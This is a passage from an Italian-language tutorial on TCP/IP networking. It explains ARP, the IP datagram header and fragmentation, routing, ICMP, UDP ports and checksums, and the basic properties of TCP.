Ethernet, ogni scheda ha già preimpostato da parte del costruttore un indirizzo fisico fisso, per cui non c'è alcun rischio di collisione, ma cambiare la scheda vuol dire dover necessariamente cambiare indirizzo fisico. Inoltre, dato che questo indirizzo è unico non solo fra le schede installate su una certa rete, ma in assoluto fra tutte le schede costruite, esso è generalmente molto lungo. Nel caso di Ethernet è di ben 48 bit.

Associare un IP address a un sistema con indirizzi formati da piccoli numeri e per giunta tali che a parità di connessione l'indirizzo non cambia mai, come nel caso di una rete proNET-10, è molto semplice. Per esempio, per un IP address di classe C, si può usare l'indirizzo fisico come host identifier. Così, se la rete ha IP address del tipo 10.214.32.x, l'host con indirizzo fisico 16 avrà IP address 10.214.32.16. Un altro paio di maniche è gestire indirizzi molto più lunghi dei 32 bit utilizzati per gli indirizzi internet, e per giunta che possono cambiare nel tempo a parità di connessione. Ovviamente si potrebbe tenere da qualche parte una tabella per gli accoppiamenti, e di fatto si fa così, ma non è certo molto pratico pensare che qualcuno la tenga aggiornata a mano. Il problema è stato risolto efficacemente utilizzando un meccanismo di risoluzione dinamica implementato dal protocollo ARP, o Address Resolution Protocol.
L’archittetura TCP/IP è basata su tre livelli.

Come detto prima l'architettura internet è basata su tre livelli. L'Application Services è il livello più alto, cioè quello delle applicazioni. I programmi che utilizzate quando usate internet ricadono in questo livello. Il Reliable Stream Transport Service è il livello intermedio. Esso si occupa dell'affidabilità della comunicazione, gestendo gli errori di trasmissione e la perdita di eventuali dati. Esso inoltre fornisce una visione della comunicazione ad alto livello, in cui esiste una connessione tra i due host che si trasmettono grandi volumi di dati. Il livello più basso, chiamato Connectionless Packet Delivery Service è quello che effettua la spedizione vera e propria dei singoli pacchetti, senza garantire l'affidabilità sulla singola trasmissione, nella modalità detta connectionless. Il protocollo su cui si basa il livello più basso della torre internet è appunto l'Internet Protocol, o IP. Tale protocollo si basa su alcuni concetti fondamentali. Innanzi tutto il servizio che fornisce è detto unreliable, cioè inaffidabile, in quanto non dà alcun garanzia che il singolo pacchetto arrivi effettivamente a destinazione. In secondo luogo è detto connectionless, cioè senza connessione diretta, in quanto la trasmissione non avviene direttamente verso il destinatario, ma il messaggio è lanciato nella rete lasciando poi a questa il compito di portarlo a destinazione utilizzando l'indirizzo IP dell'host destinatario. Infine si parla di best-effort delivery, cioè spedizione al meglio delle possibilità, in quanto la rete fa tutto il possibile per portare comunque a destinazione il pacchetto. In pratica l'IP si comporta come un naufrago su un'isola deserta che lancia nella corrente un messaggio in una bottiglia per un tizio che si trova su di un'altra isola dello stesso arcipelago, contando sul fatto che se la bottiglia arriva sull'isola sbagliata qualcuno ributterà a mare il messaggio fintanto che non arriverà a destinazione. Detta così c'è quasi da stupirsi che internet funzioni così bene. Anzi, che funzioni del tutto! In realtà non dimentichiamoci che sopra al livello più basso ce n'è un altro che garantisce appunto l'affidabilità della comunicazione. Torniamo comunque all'IP. Esso è formato da tre regole base: come è fatto il pacchetto da trasmettere, detto IP datagram, come avviene la scelta del cammino che il pacchetto segue per raggiungere il destinatario, come gli host e i gateway devono trattare i pacchetti e in particolare le modalità per l'emissione dei messaggi di errore e quelle per la soppressione dei pacchetti.

Innanzi tutto va ricordato che l'IP è un protocollo unreliable, non dà cioè alcuna garanzia che il singolo pacchetto arrivi effettivamente a destinazione, ed è connectionless, ovverosia il messaggio non viene spedito direttamente al destinatario ma viene immesso nella rete lasciando poi a questa il compito di portarlo a destinazione. Esso inoltre è di tipo best-effort delivery, in quanto la rete fa tutto il possibile per portare comunque a destinazione il pacchetto.

Detto questo, vediamo come avviene la trasmissione vera e propria dei dati. L'unità fisica di trasferimento dei dati in una rete è la frame. Questa è composta di due parti: l'intestazione (header) e l'area dati (data area). L'unità di misura è invece l'ottetto, formato da otto bit, cioè un byte. Ogni rete fisica ha un limite massimo di capacità di trasferimento per un singolo frame, detto Maximum Transfer Unit (MTU). L'MTU è cioè il massimo numero di ottetti di dati che può essere trasferito in un singolo frame. Per esempio, Ethernet ha generalmente una MTU di 1.500 ottetti (1492 secondo lo standard IEEE 802.3). Questo vuol dire che se si devono spedire 2.000 byte di dati via Ethernet, è necessario spezzarli in due blocchi tali che ogni blocco sia minore o uguale a 1.500. A ogni blocco si aggiunge poi l'intestazione del frame. Dal punto di vista della rete fisica l'IP datagram è un blocco di dati. La rete fisica ignora cioè come tali dati vengano utilizzati dall'IP. Quindi, il primo compito di IP è quello di decidere come costruire il datagram affinché possa essere trasmesso in un frame fisico. L'ideale sarebbe di poter mettere un singolo datagram in ogni frame, ottimizzando così la trasmissione e semplificando la logica. Ma quale frame? Quello della rete di partenza? Quello della rete di arrivo? E se durante la trasmissione il datagram deve passare attraverso più reti con MTU differenti? Il punto è che non c'è modo di fare una scelta che assicuri di avere un datagram per frame. D'altra parte internet ha come obiettivo quello di svincolarsi dalle caratteristiche fisiche delle varie reti interconnesse fra loro. E allora? La soluzione adottata è molto semplice. Le dimensioni del datagram sono scelte convenzionalmente secondo una logica del tutto indipendente dalle MTU delle singole reti fisiche, dopodiché, a seconda della rete in

cui il datagram deve passare, questo è spezzato in più pezzi di dimensioni inferiori alla MTU della rete fisica, detti frammenti (fragment).

 Il datagram è anch'esso un frame, che potremmo chiamare logico per distinguerla da quello usata da una specifica rete fisica per trasmettere i dati. Come tale anch'esso è formato da una intestazione e da un'area dati. All'atto della frammentazione, ogni frammento viene costruito replicando l'header del datagram, modificandone alcuni campi che vedremo in seguito, e aggiungendo a questo un pezzo dell'area dati originaria. L'aspetto più importante di questo meccanismo è che il riassemblaggio dei frammenti non viene effettuato quando i vari frammenti rientrano in una rete fisica ad alto MTU, ma sempre e comunque presso l'host di destinazione. Così, se due reti con MTU uguale a 1.500 ottetti sono separate da una rete con MTU più bassa, per esempio 500 ottetti, i frammenti che arriveranno a destinazione saranno di soli 500 ottetti. In questo caso la frammentazione avviene nel primo gateway mentre il riassemblaggio avviene solo nell'host di destinazione. Il protocollo IP richiede che sia gli host che i gateway siano capaci di gestire datagram di almeno 576 ottetti. In aggiunta, questi ultimi devono essere capaci anche di gestire datagram grandi quanto l'MTU più grande tra quelle delle reti a cui sono connessi. Ricordiamo che un gateway, per definizione, ha almeno due connessioni e quindi almeno due indirizzi IP.

Il punto debole di questo meccanismo è che la perdita di anche un solo frammento comporta la perdita dell'intero datagram. Dato che ogni frammento è trasmesso indipendentemente, passare attraverso reti a bassa MTU comporta un'elevata frammentazione anche nelle reti a maggiore MTU e comunque aumenta i rischi di perdita dei dati. Quando un frammento arriva a destinazione, e non è detto che il primo arrivi per primo, l'host fa partire un timer. Se questo scade prima che tutti i frammenti siano arrivati, il sistema cancella tutti i frammenti e considera perduto il datagram. Il concetto di timer e di tempi è estremamente importante per l'IP ed è spesso usato per ottimizzare la rete. Per esempio, ogni datagram ha una scadenza. Se il datagram è ancora all'interno della rete quando il suo tempo è scaduto, esso viene cancellato definitivamente. Lo scopo è quello di evitare che un pacchetto possa restare all'infinito in internet a causa di un errore in una routing table. Queste tabelle infatti servono a gestire il processo di instradamento del pacchetto nella rete. Se una o più tabelle sono sbagliate, si potrebbero creare cammini chiusi in cui i datagram potrebbero rimanere intrappolati. Veniamo finalmente al formato del datagram. Come si è già detto esso è composto di un'intestazione e di un'area dati. L'area dati contiene semplicemente una parte dei dati da trasmettere. Questo in quanto il datagram è piccolo mentre l'oggetto da trasmettere può essere anche molte centinaia di Kilobyte, se non addirittura migliaia, come per esempio un'immagine o un file compresso. L'intestazione è invece alquanto più complessa. Vediamola in dettaglio.

Struttura dei Datagram.

I primi 4 bit contengono la versione del protocollo IP che è stato utilizzato per creare il datagram. Infatti, come spiegato nella prima parte di questo corso, il tutto funziona se e solo se tutti seguono le stesse regole alla lettera. D'altra parte le convenzioni, e di conseguenza i protocolli, seguono un processo di evoluzione, per cui un datagram creato con una versione più recente potrebbe creare problemi a un protocollo più vecchio se questi non avesse modo di accorgersene in tempo. I 4 bit successivi danno la lunghezza dell'intestazione misurata in parole da 32 bit. Questa è necessaria agli algoritmi usati per leggere il datagram (parsing algorithms). Dato che i campi dell'intestazione potrebbere non risultare un multiplo intero di 32, è necessario porre alla fine dell'intestazione un campo di riempimento. Inoltre il programma di ricezione ha bisogno di conoscere anche la lunghezza totale del datagram, cioè la lunghezza dell'intestazione più quella dell'area dati. Questa è memorizzata nei bit dal 16 al 31 inclusi, e il suo valore è espresso in ottetti, al contrario del precedente. Poichè il campo è lungo 16 bit, il datagram non può essere più grande di 216 ottetti, cioè 65.535 byte.

Il campo tra la lunghezza dell'intestazione e quella totale del datagram identifica il tipo di servizio che va offerto al pacchetto, ed è formato da un campo di 3 bit che specifica l'importanza che va data al datagram, e da tre campi da 1 bit ciascuno che identificano il tipo di trasporto desiderato per questo pacchetto. Purtroppo questo campo non può essere sempre preso in considerazione da tutte le reti, in quanto non sempre la rete fisica è in grado di soddisfare le richieste di priorità e trasporto memorizzate in questo campo. Per cui esso viene considerato una sorta di raccomandazione alla rete, piuttosto che un vero obbligo. In ogni caso il campo di priorità può contenere valori da 0 a 7. Lo zero è il valore di base di un normale pacchetto, mentre il 7 rappresenta la richiesta di precedenza più elevata, e va usato per i datagram che contengono dati per il controllo della rete stessa. I tre bit relativi al tipo di trasporto servono a definire il livello di qualità relativo al trasferimento del pacchetto. Se impostati a uno, essi richiedono rispettivamente: di evitare al massimo ritardi nel recapitare il pacchetto al destinatario, di fornire la massima capacità di trasferimento, e di garantire un'elevata affidabilità durante il trasporto. Ovviamente è estremamente difficile poter fornire tutti e tre questi servizi contemporaneamente. Spesso la rete non riesce a garantirne neanche uno solo.

I tre campi successivi vengono utilizzati nel meccanismo di frammentazione spiegato poco fa, e in particolare sono quelli che permettono all'host che riceve i vari frammenti di riassemblare il tutto per ottenere il datagram originario. Essi sono assolutamente necessari in quanto non è prevista alcuna comunicazione tra il mittente e il destinatario su come ricomporre il datagram, tanto più che la frammentazione finale può essere il risultato di più frammentazioni successive. Inoltre i vari frammenti possono arrivare in qualunque ordine, dato che possono avere seguito cammini differenti. Dulcis in fundo, anche se l'intestazione di ogni frammento è ottenuta da quella del datagram originale, il quarto campo dell'intestazione di un frammento contiene la sua lunghezza totale, e non quella di tutto il datagram. Quest'ultima informazione deve essere calcolata dal destinatario in qualche modo. Ed ecco il perché di questi tre campi.

Il primo campo serve a identificare univocamente il datagram ed è lungo 16 bit. Tutti i frammenti che appartengono a uno stesso datagram hanno lo stesso identificativo. Il secondo campo è una maschera di 2 bit che controlla il meccanismo di frammentazione. Il primo bit specifica se il datagram può essere frammentato: se impostato a uno, la frammentazione non è permessa. Il secondo bit serve a marcare l'ultimo frammento. Vedremo tra un attimo a cosa serve. Il terzo campo contiene la posizione dei dati del frammento nel blocco originale di dati misurato in parole da 64 bit. Questo campo si chiama fragment offset. Per esempio, se un frammento ha un offset 7, vuol dire che il primo bit dei suoi dati corrisponde al quattrocentoquarantanovesimo bit dei dati del frammento originale, dato che 7 * 64 + 1 fa appunto 449. A questo punto è chiaro come si può ottenere la lunghezza totale del datagram originario. Basta sommare l'offset e la lunghezza totale dell'ultimo frammento, riconoscibile grazie al secondo bit del campo di controllo.

Il campo successivo, posto a partire dal 64° bit dell'ntestazione, è lungo un byte e serve a stabilire quanto a lungo un datagram può rimanere nella rete. È cioè il campo che specifica la scadenza di un datagram di cui avevamo accennato in precedenza. L'idea originaria era che tale campo contenesse il numero massimo di secondi che il pacchetto potesse restare nella rete. Tuttavia, data l'evidente difficoltà di sincronizzare gli orologi di tutti gli hosts e i gateway della rete, si è deciso di semplificare il meccanismo come segue: ogni gateway che processa il pacchetto decrementa il campo di uno quando questo arriva e memorizza il tempo di arrivo. Se il pacchetto non riparte subito ma rimane in attesa nel gateway, il valore di questo campo viene ulteriormente decrementato di una unità per ogni secondo di attesa. Come il campo arriva a zero, il datagram viene cancellato dalla rete e un messaggio di errore viene rispedito al mittente.

Il campo seguente, lungo 8 bit, identifica il protocollo di alto livello utilizzato che ha generato i dati contenuti nel datagram, e definisce di fatto il loro formato. Ne riparleremo in seguito, quando vedremo i protocolli applicativi.

Abbiamo quindi un campo di controllo di 16 bit che serve a verificare l'integrità dell'intestazione, e che utilizza il meccanismo di checksum ben conosciuto nel mondo del software. In suo valore è la somma complementata a uno delle parole da 16 bit che compongono l'intestazione, addizionate con il metodo del complemento a uno.

Quindi vengono gli indirizzi IP del mittente e del destinatario, ognuno lungo 32 bit. Di tali indirizzi e del loro scopo abbiamo parlato esaustivamente nella seconda e terza parte di questo corso.

Per finire abbiamo un campo di lunghezza variabile che può contenere varie opzioni, e quindi il campo di riempimento di cui abbiamo già parlato. Queste opzioni non sono presenti in tutti i datagram e vengono usate prevalentemente nelle verifiche e nella identificazione dei problemi della rete.

L’instradamento tra Client e Server con TCP/IP

Parliamo ora di due aspetti fin qui solo accennati: i meccanismi di instradamento dei pacchetti (routing) e la gestione degli errori. Iincominceremo a salire nella torre dei protocolli internet, introducendo il primo protocollo che si poggia sull'IP, e precisamente lo User Datagram Protocol (UDP). Come vedremo si tratta ancora di un protocollo molto legato all'IP, ma comunque considerato al di sopra di questo.

Come abbiamo già detto in precedenza, IP è un protocollo connectionless. Questo vuol dire che non esiste un collegamento diretto tra i due host che si scambiano dati, bensì una rete di connessioni attraverso la quale si possono identificare vari potenziali cammini da un host all'altro. Il cammino attraverso il quale i dati giungono all'host destinatario è scelto dinamicamente e può variare per ogni singolo pacchetto di dati.

Tale scelta non avviene quando il pacchetto parte, ma è il risultato di numerose decisioni prese a ogni singolo gateway. Per questo motivo i gateway sono detti anche router. Tali scelte possono dover tenere conto di molti elementi, quali la priorità del messaggio, il carico di rete, la capacità delle reti intermedie, e via dicendo. La base tuttavia del meccanismo sono le tabelle di instradamento (routing table). Vediamo di che si tratta.

Consideriamo prima una singola rete fisica. Se un host vuole spedire un messaggio a un altro host nella stessa rete, non deve far altro che incapsulare il messaggio in un datagramma IP fornendo quindi l'indirizzo IP del destinatario, e passare il tutto al livello inferiore. Questi provvederà a ricavare dall'indirizzo IP l'identificativo del destinatario nella rete fisica, a incapsulare il datagramma in un frame, e a spedire direttamente il tutto all'host finale . Questa tecnica si chiama instradamento diretto (direct routing).

Vediamo adesso quello che succede quando abbiamo due reti interconnesse tramite un gateway. L'host mittente si accorge che il destinatario non è nella sua rete fisica, dato che il network id del suo indirizzo IP è diverso da quello a cui deve spedire il datagramma. Spedisce allora il messaggio al gateway passando sia il datagramma che l'indirizzo IP del gateway al livello inferiore. Il

messaggio arriva quindi direttamente al gateway che estrae l'indirizzo IP del destinatario, si accorge che fa parte della seconda rete a cui è connesso, e spedisce quindi il tutto all'host finale attraverso la rete fisica. Questa tecnica si chiama di instradamento indiretto (indirect routing).

In questo secondo caso la tabella di instradamento è semplice, dato che il gateway ritrasmette sempre i messaggi che devono andare da una rete all'altra attraverso la rete fisica. Se invece abbiamo più gateway tra i due host, ogni gateway, tranne l'ultimo, dovrà spedire il messaggio a un altro gateway.

Per far questo userà appunto la tabella di instradamento che fornisce per ogni possibile rete destinataria finale l'indirizzo IP del gateway successivo. È da notare che queste tabelle non contengono di solito gli indirizzi IP di tutti i possibili host destinatari, cosa che sarebbe fisicamente impossibile, bensì gli indirizzi delle reti raggiungibili a partire da quel gateway. Esiste poi la possibilità di specificare un gateway di default e cammini specifici per host speciali. La prima cosa è molto comune, mentre la seconda è usata solo in casi eccezionali. La logica di instradamento è quindi quella riportata nel diagramma.

La gestione dei messaggi di errore
Come si può facilmente capire dal meccanismo di instradamento appena spiegato, non è possibile sapere se il destinatario effettivamente esiste fintanto che il datagramma non arriva all'ultimo gateway. In generale l'IP non contiene grossi meccanismi di verifica, ed è per questo che è detto "inaffidabile". Esso richiede quindi un protocollo ausiliaro per l'emissione di messaggi di errore in rete, che permettano ai protocolli di livello superiore di implementare una logica più affidabile e robusta. Tale protocollo è chiamato Internet Control Message Protocol (ICMP).

L'ICMP è considerato parte integrante dell'IP ed è sostanzialmente un protocollo per la segnalazioni di errori il cui utente principale è l'IP stesso. Solo in casi particolari l'ICMP arriva a informare dell'errore eventuali livelli superiori all'IP. In ogni caso cosa fare quando avviene un errore non spetta all'ICMP, ma ai processi che se ne avvalgono. L'ICMP informa sempre l'IP mittente, non i vari gateway intermedi. Questo in quanto del cammino percorso da un datagramma non rimane traccia, per cui l'unico possibile destinatario di un messaggio di errore è solo chi ha generato il datagramma. Inoltre, dato che i datagrammi ICMP viaggiano incapsulati in datagrammi IP, come un qualunque messaggio di livello superiore, essi sono soggetti alle stesse limitazioni in termini di affidabilità di qualunque altro messaggio spedito via TCP/IP. Non analizzeremo in dettaglio tutti i datagrammi ICMP, anche perché ognuno può avere una struttura differente. Diremo solamente che l'intestazione di un datagramma ICMP contiene sempre almeno tre campi: il tipo di messaggio, un codice di errore, e una somma di controllo.

Il livello di Trasporto
Come già detto, la torre Internet si può schematizzare più o meno su quattro livelli. Alla base della torre sta l'hardware che rappresenta la rete vera e propria. Sopra a questo sta il primo livello, quello cioè di interfaccia alla rete fisica, detto appunto Network Interface o anche Data Link. I protocolli a questo livello si scambiano blocchi di dati chiamati frame, la cui struttura è strettamente legata alle caratteristiche hardware della rete stessa. Al di sopra di questo livello c'è il livello di interconnessione fra reti, ovverosia il livello dell'IP la cui unità di scambio dati è appunto il datagramma IP, mentre il terzo livello è quello detto di Trasporto. Concettualmente è a questo livello che si pongono sia il TCP che appunto l'UDP. L'unità di scambio dati al terzo livello si chiama pacchetto (transport packet). Il quarto livello è infine quello Applicativo, al quale vengono scambiati i messaggi applicativi (message e data stream).

Abbiamo visto come l'IP permette di scambiare datagrammi fra host, cioè a livello di macchine. Tuttavia non è certo la macchina il destinatario finale dei dati che fluiscono nella rete, bensì le applicazioni e i programmi che girano su di essa. I moderni sistemi operativi permettono di far girare più processi contemporaneamente, e comunque questi non hanno le caratteristiche di permanenza che ha invece un host. Un programma infatti è un componente dinamico e temporaneo in un sistema. Non è quindi pensabile di poter associare a un processo un identificativo fisso come si fa con gli host e gli indirizzi IP. Un processo infatti non ha un identificativo univoco in un sistema, dato che ogni volta che viene lanciato esso può assumere un identificativo diverso. Inoltre non è detto che gli stessi dati siano sempre processati dalla stessa applicazione. Per esempio, oggi potrei voler usare un certo programma per gestire la mia posta elettronica, domani potrei decidere di usarne un altro, e non è sicuramente pensabile che si debba informare tutta la rete ogni volta che si decide di cambiare l'applicazione che gestisce un certo tipo di dati. Quindi, più che il processo, quello che è importante identificare è la funzione, come per esempio, trasferire file oppure spedire posta elettronica. Lo scopo dell'UDP è appunto quello di permettere di distinguere in un singolo host più destinatari per i dati che arrivano dalla rete. Ma come?

Facciamo un attimo una digressione. Se io devo stampare un file cosa faccio? Collego al mio computer una stampante, attivo il driver corrispondente, e uso una applicazione o un comando del sistema operativo per lanciare l'ordine di stampa. Se ora stacco la stampante e ne attacco un'altra alla stessa porta non devo far altro che cambiare il driver per continuare a lavorare senza che il sistema si sia accorto di niente. Se poi le due stampanti usano lo stesso driver generico devo solo staccare e riattaccare fisicamente le stampanti senza modificare il sistema. In generale, tutto lo scambio di dati da e verso un computer avviene attraverso porte di I/O. Ogni applicazione accede la porta che gli serve in modo dinamico. La periferica di I/O non ha bisogno di sapere con quale applicazione sta parlando: la porta fa da schermo fra i due. L'UDP fa una cosa analoga. Esso permette di associare a un indirizzo IP più punti di ingresso e di uscita virtuali, detti protocol port. Queste porte si comportano un po' come quelle di I/O di un computer. Ogni porta è identificata da un numero intero positivo e i processi possono chiedere al sistema l'accesso a tali porte. Quando un processo accede una porta, esso si mette in attesa dei dati sulla stessa. Il meccanismo è cioè sincrono. Inoltre, se dei dati arrivano a una porta alla quale non si è agganciato ancora un processo, questi vengono mantenuti in memoria nell'ordine di arrivo. Si dice cioè che le porte hanno un buffer. A questo punto, sia il processo mittente che quello destinatario sono univocamente identificati dall'indirizzo IP dell'host su cui girano e dal numero di porta che utilizzano per la trasmissione in rete. Tale associazione è tuttavia

dinamica, e così come più applicazioni possono stampare sulla stessa stampante purché non contemporaneamente, così più processi possono attaccarsi uno alla volta alla stessa porta ed essere visti come lo stesso destinatario dalla controparte mittente. Questo permette di spedire un file di testo con un word processor, e subito dopo spedire un file binario, per esempio un file ZIP, con un comando di sistema. Il tutto sempre attraverso la stessa porta e con lo stesso destinatario in termini di host e di processo.

Come abbiamo visto nel caso dell'IP e dei vari protocolli di rete, anche il datagramma UDP è formato da una intestazione (header) e da una parte dati. Esso è inoltre incapsulato in un datagramma IP il quale a sua volta è contenuto in un frame della rete fisica.

Al contrario tuttavia di quello IP, l'header UDP è molto più semplice. Esso è formato dal numero di porta del mittente, da quello del destinatario, dalla lunghezza del messaggio UDP, sia dei dati che dell'intestazione, e da una somma di controllo (checksum) per la verifica dell'integrità dei dati. Infatti, anche l'UDP, come l'IP, è un protocollo cosiddetto "inaffidabile". Questo vuol dire che un messaggio UDP può andare perso, essere duplicato, o arrivare nell'ordine sbagliato. L'UDP non fa alcun controllo al riguardo. L'affidabilità della comunicazione è infatti affidata a i protocolli di livello più elevato. Tutti i campi dell'intestazione sono lunghi 16 bit. Benché il formato del datagramma UDP sia alquanto semplice, la sua gestione può essere un po' più complessa. Il punto riguarda la somma di controllo. Questo valore è opzionale e, al contrario di quello che succedeva con la somma di controllo nel datagramma IP, esso non è relativo solo all'intestazione ma a tutto il datagramma, compresa la parte dati. Questo vuol dire che tale campo rappresenta l'unico elemento di controllo a livello IP e UDP dell'integrità dei dati arrivati. Se esso non viene utilizzato, il campo va posto a zero. Questo in quanto la somma di controllo segue la logica a complemento uno. Il che vuol dire che se la somma calcolata è zero, essa può essere memorizzata come 16 bit impostati a uno, dato che in tale logica un valore con tutti i bit a uno e uno con tutti i bit a zero rappresentano lo stesso numero. Quindi: se il campo è a zero, vuol dire che non è stato utilizzato; se viceversa ha tutti i bit ad 1, vuol dire che la somma era zero.

La somma di controllo, tuttavia, per ragioni pratiche, non riguarda solo il datagramma UDP, ma viene calcolata anche utilizzando alcune informazioni addizionali. Queste formano il cosiddetto pseudo-header.

In pratica, quando si deve calcolare il checksum UDP si mette davanti al datagramma UDP un altro blocco di dati che contiene l'indirizzo IP del mittente e del destinatario, il codice del protocollo UDP (17), e la lunghezza del datagramma UDP. Il motivo di questa tecnica risiede nel fatto che, per verificare se un messaggio UDP è arrivato al giusto destinatario, non basta verificare il numero di porta, ma anche l'indirizzo IP dell'host in cui gira il processo che è collegato a quella porta. Il datagramma UDP contiene tuttavia solo il numero di porta, per cui il controllo fornito da una somma sul solo datagramma non potrebbe realmente verificare che il destinatario dei dati è quello giusto.

Questa tecnica ha tuttavia un prezzo: gli indirizzi IP fanno parte appunto del livello internet, non di quello di trasporto. Perché l'UDP conosca tali informazioni è necessario violare una legge fondamentale dei protocolli di comunicazione, e cioè che ogni livello della torre deve gestire i suoi dati senza esportarli agli altri livelli a cui offre, o da cui riceve, servizi. Questo vuol dire che la separazione tra UDP ed IP non è così pulita come dovrebbe essere, ma che i due protocolli sono in qualche modo legati tra loro. D'altra parte i vantaggi in termini di controllo e semplicità di implementazione sono tali che si è deciso di fare un'eccezione ai principi dell'architettura. Da notare che la pseudo-intestazione serve solo a calcolare la somma di controllo. Essa non viene fisicamente trasmessa con il datagramma UDP, dato che le informazioni che contiene fanno già parte dell'intestazione del datagramma IP in cui quello UDP sarà incapsulato.
Proprietà funzionali del protocollo.
Se l’IP rappresenta il braccio del TCP/IP, il TCP ne rappresenta la mente. Il primo si limita a spedire rapidamente i dati che gli arrivano senza preoccuparsi troppo se qualcosa va male. Il secondo si occupa invece di controllare che l’informazione passatagli dai livelli superiori arrivi correttamente a destinazione. Insieme sono sicuramente una coppia molto affiatata.

In questo articolo useremo il termine applicazioni per indicare tanto i protocolli applicativi come FTP o SMTP, quanto i programmi applicativi veri e propri, salvo indicazione contraria. Indicheremo inoltre con il termine utente di un servizio colui che utilizza tale servizio, sia esso direttamente una persona, un’applicazione, o un protocollo. Per esempio, il TCP è un utente dell’IP.

C’è subito da dire due cose importanti sul TCP. La prima è che lo standard del TCP non definisce né l’implementazione dello stesso, né le modalità con cui un’applicazione accede a i servizi di questo protocollo. Esso definisce solamente le caratteristiche di tali servizi, per cui si possono trovare molte differenti implementazioni del TCP, ognuna con la propria interfaccia applicativa. Per chi non programma ricordo che un’interfaccia applicativa o API (Application Programming Interface) non è altro che l’insieme delle funzioni, delle istruzioni, dei parametri e dei blocchi di controllo che vengono utilizzati dai programmatori per accedere ai servizi di un sistema. Per esempio, se ho un sistema di posta elettronica potrei definire un’API basata su due funzioni, una chiamata spedisci, e una chiamata ricevi . Per ogni funzione sarebbero poi da definire quali informazioni sono da passare al momento dell’utilizzo (parametri in ingresso), quali si ottengono una volta espletato il servizio (parametri di ritorno), eventuali codici di errore, e le regole di utilizzo delle singole funzioni. Il motivo che sta alla base della scelta di non standardizzare l’interfaccia con il TCP è che in molti casi questo protocollo è direttamente definito nel sistema operativo, o comunque fa parte del cosiddetto corredo di base di un sistema, per cui si è voluto evitare di forzare una sintassi che potesse essere in contrasto con quella nativa del sistema ospite. Il secondo punto fondamentale è che il TCP è stato definito per funzionare su un qualsiasi sistema di trasmissione dati a pacchetto, e non necessariamente solo sull’IP. Di fatto esso può essere poggiato, per esempio, direttamente sopra una rete Ethernet senza bisogno di un livello Internet intermedio.

Ma qual è lo scopo del TCP nell’architettura internet? Il protocollo non fornisce le garanzie di affidabilità e robustezza necessarie per implementare un sistema di trasmissione dati sicuro e di facile gestione. L’IP è inaffidabile e benché schermi lo sviluppatore dalla conoscenza della rete fisica, fornisce ancora una visione di livello troppo basso del sistema di reti interconnesse. Questo vuol dire che l’IP è troppo complesso per essere utilizzato direttamente dalle applicazioni. Per avere un protocollo di trasmissione affidabile abbiamo bisogno di gestire tutte le possibili situazioni di errore, la duplicazione o la perdita dei pacchetti, la caduta delle connessioni o di un router, e via dicendo. Se le

applicazioni utilizzassero direttamente i servizi dell’IP, ognuna di esse dovrebbe implementare una serie alquanto complessa di algoritmi e servizi per tenere conto di tutto ciò. A parte il fatto che esistono relativamente pochi programmatori in grado di far questo fra gli svariati milioni di sviluppatori di applicazioni, nella maggior parte dei casi si tratterebbe di reinventare ogni volta la ruota. In generale questi problemi, seppure complessi, sono abbastanza standard, per cui si è pensato di poggiare sui sistemi di trasmissione a pacchetti un protocollo affidabile che potesse essere implementano da sviluppatori altamente specializzati, lasciando così agli altri la possibilità di concentrarsi sulla logica applicativa piuttosto che sugli aspetti specifici della trasmissione dei dati a basso livello.

Vediamo allora quali sono le caratteristiche principali del TCP, eventualmente comparate a quelle dell’IP.

Innanzi tutto il TCP fornisce una visione dei dati di tipo a flusso (data stream), cioè i dati sono ricevuti in sequenza e nello stesso ordine con il quale sono stati trasmessi. A questo livello cioè, l’utente del TCP spedisce i dati come un singolo flusso di byte e nello stesso modo li riceve. Nell’IP avevamo invece la divisione dei dati in pacchetti che potevano subire un’ulteriore frammentazione se si trovavano a passare attraverso reti caratterizzate da una soglia molto bassa sulle dimensioni dei frame fisici. I pacchetti potevano inoltre arrivare in ordine sparso rispetto a quello di trasmissione.

Secondo punto: nell’IP non si sa mai a priori il cammino che effettua un pacchetto. Il TCP fornisce al suo utente una visione del collegamento come se esso fosse una linea dedicata. Ovviamente sotto sotto il meccanismo è ancora quello a pacchetti, ma la cosa è schermata agli utilizzatori del TCP. Tale caratteristica è detta vitual circuit connection, cioè circuito di connessione virtuale. Il TCP si basi sul concetto di connessione, piuttosto che su quello di indirizzo come fa invece l’IP. Una connessione, per definizione, richiede la definizione di due punti piuttosto che di uno solo, detti punti terminali o estremi della connessione (endpoint). Parleremo anche di interlocutori per indicare gli utenti posti agli estremi della connessione.

Terzo punto: abbiamo visto che l’IP divide i dati in pacchetti che vengono costruiti sulla base di esigenze di trasmissione legate alle varie reti fisiche su cui si poggia il sistema. D’altra parte le applicazioni dividono i dati in funzione delle esigenze applicative. Per esempio, un’applicazione di posta elettronica può considerare una lettera da 8.000 caratteri una singola unità dati, mentre un protocollo per la gestione della rete può avere l’esigenza di spedire tanti piccoli messaggi di non più di 16 byte l’uno. Il TCP permette di disaccoppiare il modo di dividere i dati delle applicazioni da quello dell’IP. Così la lettera di cui sopra viene prima spezzata in tante parti, spedita via IP e poi ricomposta dal livello TCP del destinatario, mentre per i messaggi di controllo avviene il contrario: prima vengono accumulati in un singolo pacchetto, e poi rispezzettati presso il destinatario. Questo meccanismo è detto buffered transfer. Naturalmente può sorgere l’esigenza di forzare la trasmissione dei dati anche se il buffer non è pieno. Per esempio, se serve sapere se un certo sistema è attivo o meno manderò prima un messaggio di interrogazione, e solo una volta ricevuta la conferma incomincerò a spedire gli altri dati. Dato che il messaggio di interrogazione è più piccolo del buffer, esso non verrebbe realmente spedito dal TCP fintanto che questi non è stato riempito. È quindi necessario forzare la trasmissione del primo messaggio (push) se si vuole evitare di attendere inutilmente la risposta a un messaggio che in realtà non è mai partito.

Quarto punto: per quanto intelligente, il TCP si preoccupa di trasferire i dati che gli vengono passati senza entrare in merito a il loro significato dal punto di vista applicativo. In che modo il flusso di dati vada interpretato semanticamente è responsabilità delle due applicazioni che utilizzano la connessione TCP per cooperare. Questo vuol dire che se un’applicazione manda alla sua controparte una serie di indirizzi, questi arriveranno uno di seguito all’altro nel giusto ordine, ma senza alcuna garanzia che ogni buffer contenga un numero intero di indirizzi. Sta all’applicazione ricomporre un indirizzo capitato a cavallo di due buffer consecutivi. Si parla quindi di flusso senza struttura (Unstructured Stream).

